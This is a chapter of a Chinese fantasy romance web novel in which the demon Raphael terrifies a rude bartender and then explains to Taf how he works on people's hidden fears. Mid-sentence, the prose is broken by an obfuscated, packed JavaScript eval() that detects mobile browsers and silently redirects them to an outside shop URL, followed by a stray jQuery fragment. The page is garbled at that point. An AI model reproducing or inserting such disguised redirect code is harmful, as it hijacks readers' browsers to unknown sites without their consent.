52.恐惧
    “原来你这么没眼光!”

    见塔夫仍不理他,诺亚更加恼怒,

    “挑的人既便宜又小气,还不会讨好姑娘。白吃白拿要你服务,之后不主动帮忙也就算了,甚至连客气一下都懒得装!”他声音越来越高,最后伸手想拦住她让她停下,

    “你既然是那种喜欢倒贴、喜欢献身的类型,当初又对我装什么……咳!咳!”

    “拉斐尔!”塔夫惊呼。

    不过一瞬,诺亚只脚尖勉强点在地面,金色领带夹掉在地面上发出一声轻微的脆响。

    诺亚身材相当高大,虽然经常饮酒纵欲倒也没疏于锻炼,和一般人比起来还是更加强壮,没想到被拉斐尔直接揪着领带轻松提到半空中,肮脏的话没说完就被卡住喉咙。而他只能剧烈咳嗽着,双手死死扒着领带,毫无还手之力。

    “餐厅什么时候养了一条狗?”拉斐尔轻声问,“似乎需要更多训练。”

    “咳!放我……咳,下来……咳,巡!警!”

    “先放下他。”塔夫说。

    “哦?这可能不是一个好主意。”拉斐尔仍看着诺亚,似笑非笑,“狗需要收紧项圈才能知道自己的位置。”

    “咳!警!……呜。呜!”

    “请放下他。”塔夫看到几位同事也围了过来,又说一遍,“拉斐尔,先放下他。”

    拉斐尔转头盯了塔夫一会,松开手。

    诺亚落回地面,干咳几声。接着,他第一时间弯身拾起领带夹,这才终于退开几步。

    他脸色仍然青紫,因为出了丑而恼恨至极,看到自己身边人多,而拉斐尔只有一人,又顿时怒从心起,更忘记自己想要挖苦的是塔夫,转而攻击拉斐尔,刚才那一套话肆无忌惮地又说一遍,最后一把拉过塔夫:

    “你多可悲啊!连女朋友都不站在你那边!都不帮着你说话!”

    “少来了!我只是不想他为你这种人惹上麻烦。”塔夫厌恶地甩开诺亚,又上前一把捉住拉斐尔的胳膊,牢牢握住他的手,以防他再次做出点什么,转头冲诺亚轻蔑说,

    “因为那可太不值得了!”

    “你说什么?”诺亚表情扭曲,向前靠近一步,被拉斐尔一瞥又下意识退后半步,瞪着塔夫,“你敢再说一遍吗?”

    塔夫气得哼一声:“我刚才是懒得理你,你倒是自己找骂!

    “我的眼光我自己清楚得很!如果你觉得我的眼光有问题,那纯粹是因为你自己有问题!是我主动邀请的他,他来这里本就是不想让我为难,点了便宜的饮料是为了不给我增加负担,这是他的关心!而你根本什么都不知道!

    “至于帮忙收拾,他来这里又不是为了讨好谁,我也不需要被谁讨好!倒是你,我可从没有见过你帮过我们任何一次忙,虽然你总是很有功夫见缝插针地跟姑娘调情——但你不会以为自己很风趣很有魅力吧?那只是在耽误我们的工作!”

    “哈!哈!你是被我说中了,恼羞成怒了吧。”诺亚大笑,看向周围,“原来你一直偷偷看我和其他姑娘调情?什么关心、讨好,我看你是在嫉妒,你就是想要被我……”

    “闭嘴。”

    那声音很轻,却清晰传入诺亚耳里,带着可怕回响,仿佛魔鬼的低语,

    “如果你再敢说塔夫一个字,我向你保证,那会是你的最后一个。”

    诺亚不由自主打了个哆嗦,看到身边几位同事表情多是难以置信甚至奚落嘲弄,又看到塔夫仍然紧紧抓着拉斐尔胳膊不放,难堪之余更加怒气勃发:

    “你吓唬谁呢?”

    “那不妨,试试看。”拉斐尔微笑看着他,眼瞳几乎竖起。

    “哈!”诺亚梗着脖子,正要说什么更加恶毒的言语,却发现自己口中空空如也。

    “我的舌头!”他一下子吓得涕泪横流,跪在地上,张开嘴,伸手去找自己的舌头,含糊地哭道,“我的舌头不见了!”

    周围的人顿时鸦雀无声,只看到诺亚双手死死抓住舌头,使蛮力向外拉扯:“我的舌头!”也不知道是因为疼痛还是恐惧,拽了几次后,他直接晕死过去。

    一片死寂中,弗兰第一个反应过来,蹲到诺亚身边:“有呼吸。”

    她有些惧怕地看了拉斐尔一眼,还是快步凑到塔夫身边,

    “你,他……唉,你赶快先回去吧。我们会把诺亚锁到员工休息室,明天早上再说。不,你不用来。周六正常来上班就好。”

    ……

    回去的路上,拉斐尔看上去很平静,仿佛没有任何事发生。而塔夫仍有些惊疑不定。一时间二人都没有说话,塔夫也忘记自己始终与拉斐尔十指相扣。

    “刚才你没事吧?”

    “没有吓到你吧?”

    两人同时开口,又同时回道:

    “没有,没吓到。”

    “酒保那番话的确恶劣,还好有你的话安慰我,甚至远远不止。谢谢你刚才维护我,那让我感觉到被关心和被理解。酒保说什么对我来说根本无关紧要,我在意的是你的看法。希望你也没有被他坏了心情。”

    “……”塔夫怔了怔,“你说的可真,面面俱到,得好。你刚才没说话,是在练习这段吗?”

    拉斐尔轻咳:“一两遍。”

    塔夫噗嗤笑出声。她之前隐约察觉到,拉斐尔似乎也从来没怎么道过谢,不过显然这不再是一个“危险信号”,就是太教科书式的一板一眼啦。她心里柔软:“也谢谢你刚才为我出头。”

    “当然。”拉斐尔笑着看向她。

    塔夫又瞧着他一会,这才移开视线:“不过最后那场面确实有点惊悚。你对诺亚做了什么?”

    “一些心理暗示。他醒来就会消失。”

    “不是魔法?像翼猫那次?”

    “不。只是激起他内心中的恐惧。”

    “什么恐惧?”

    “没办法用几句话讲清。”

    “我要听你说嘛!不能丢下一点细节!”塔夫话说出口才发现,她把拉斐尔直接当成卡菈克撒娇了,后知后觉想要收回手,拉斐尔却立刻握紧。塔夫还有些不自在,拉斐尔已经解释起来,声音极有魅力,很快就把她吸引住了。

    “每个人都有欲望。人们想要欲望得到满足,但同时又一种隐秘的想法:逃避或推迟付出。”

    “没有那么隐秘吧。不劳而获,或者说得没那么糟,过于理想化。”塔夫应和道,“比起漫长的过程、可能的失败,当然还是目标实现更令人愉快。”

    “是的,这是非常正常的想法,在一定程度上。

    “不过有些人,因为某些原因,心底会有一种近乎强迫性的焦虑和渴望,希望别人能够满足他的所有需要和要求。

    “这是很难实现的,但他并不会这么认为。相反,他会认为受到不公正的待遇和亏欠,并发展为怨恨与敌意。”

    “这和恐惧有什么关系?”塔夫忍不住问。

    “恐惧由抑制而生。

    “他需要压抑自己的想法,掩藏对周围人的敌意。因

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105051|146484||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    为他其实清楚,如果别人知道了他的真实渴望以及心底的怨恨,就一定会远离他,而那意味着他丧失了利用别人的机会。所以他无时无刻不处于恐惧中,害怕被别人发现那个面具之后的自己。

    “不过大多数时候,这种焦虑、敌意还有恐惧并不是有意识的。利用别人来满足自己的方式或面具也不尽相同,可以是顺从依赖,也可能是支配剥削,甚至占据道德高点的‘无私奉献’。”

    塔夫认真倾听,时不时问几个问题。二人走到校园,拉斐尔开始讲起这次的事情:

    “刚才那位酒保,他的需要从表面来看是女人的注意。而他最常使用的方法,应当是摆出迷人的态度,花言巧语讨好对方。

    “到一定阶段后,他恐怕会有类似的表达‘既然我们关系不错,不如你请我喝一杯’。从几乎是调情的小请求开始,筛选出目标再提进一步要求,比如金制领带夹一类的贵重礼物,直至负担更多他的花销。”

    塔夫诧异:“你之前就认识诺亚吗?”

    拉斐尔笑着说:“今晚我第一次走入这家餐厅。”

    塔夫更加吃惊:“第一次见面,他居然就会对你存在这么大的敌意?”

    “他将对你的敌意转移到了我身上。他嫉妒我,因为我得到你的主动邀请。同时他也蔑视我,因为我居然只点了一杯茶。接着,他发现自己的话语激不起你的任何反应,感到无力和恐惧,但通过愤怒的形式表现出来。

    “既然他没有意识到内心的恐惧,我便帮他好好感受了一下,这是我的……天赋。效果倒是很直接,他害怕失去花言巧语的能力——这是他利用别人的最主要手段,那么恐惧就表现为,他以为自己的舌头缩了回去。”

    塔夫仍有些狐疑:“真的没有任何幻术?诺亚当时直接把自己吓晕过去了。”

    拉斐尔回道:“人的想象力可是无穷的。”

    “这话可不是这么用的。”塔夫好笑地瞥他一眼,“不过,既然诺亚自己都没意识到那恐惧,你又是怎么知道的?”

    “我可以感觉得到,就如同你对气味更加敏感。”

    塔夫忽然想起什么,偏头看向拉斐尔:“你之前也闻过我的恐惧,是吗?”

    “……”

    “喔哦。你闻过。”

    拉斐尔顿了下,没有回答,重新说起对酒保的心理暗示,塔夫却继续道:“第一步是找到没有满足的愿望?所以签订契约那天,你才会那样!说了很多我未来可能想要做的事。”

    “你在生气吗?”拉斐尔不解问,“我们又要为之前已经发生过的事争吵了吗?”

    “我刚才没有。”塔夫又好气又好笑,“不过你这么一种问法,我现在倒是真的有点想生气了。”

    拉斐尔拇指在她手背上轻轻画着圈,像是思索时无意识的动作,又像是在向她求和。

    “我是在好奇。”塔夫使力夹了一下他的手指,他不再打转,更用力地回握住她。塔夫叹口气,“我想知道我心底的恐惧是什么,会是自己都没有意识到的吗?”

    她停下脚,抬头望着塔楼尖顶,长长松一口气,“我挺想问你,但是好像又有点害怕知道。而且我也到宿舍了。这大概意味着我至少可以不用在今天知道。”

    “不是每个人都有这种近乎焦虑性的恐惧。”拉斐尔捏捏她的手,微笑道,“别担心,我那时并没有找到你的。”

    塔夫:“所以你果然真的找过啊!?”

    拉斐尔:“……”

    .